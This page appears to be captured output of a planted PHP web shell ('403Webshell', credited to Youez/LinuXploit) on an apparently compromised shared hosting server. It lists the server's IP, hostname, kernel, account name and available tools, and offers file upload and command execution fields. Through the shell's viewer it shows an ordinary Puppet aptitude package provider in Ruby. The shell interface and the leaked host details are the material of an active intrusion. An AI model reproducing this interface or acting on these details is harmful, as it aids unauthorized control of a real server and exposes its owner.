403Webshell
Server IP : 104.21.14.103  /  Your IP : 3.144.7.151
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet/provider/package/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet/provider/package/aptitude.rb
Puppet::Type.type(:package).provide :aptitude, :parent => :apt, :source => :dpkg do
  desc "Package management via `aptitude`."

  has_feature :versionable

  commands :aptitude => "/usr/bin/aptitude"
  commands :aptcache => "/usr/bin/apt-cache"

  ENV['DEBIAN_FRONTEND'] = "noninteractive"

  def aptget(*args)
    args.flatten!
    # Apparently aptitude hasn't always supported a -q flag.
    args.delete("-q") if args.include?("-q")
    args.delete("--force-yes") if args.include?("--force-yes")
    output = aptitude(*args)

    # Yay, stupid aptitude doesn't throw an error when the package is missing.
    if args.include?(:install) and output.to_s =~ /Couldn't find any package/
      raise Puppet::Error.new(
        _("Could not find package %{name}") % { name: self.name }
      )
    end
  end

  def purge
    aptitude '-y', 'purge', @resource[:name]
  end

  private

  def source
    nil
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit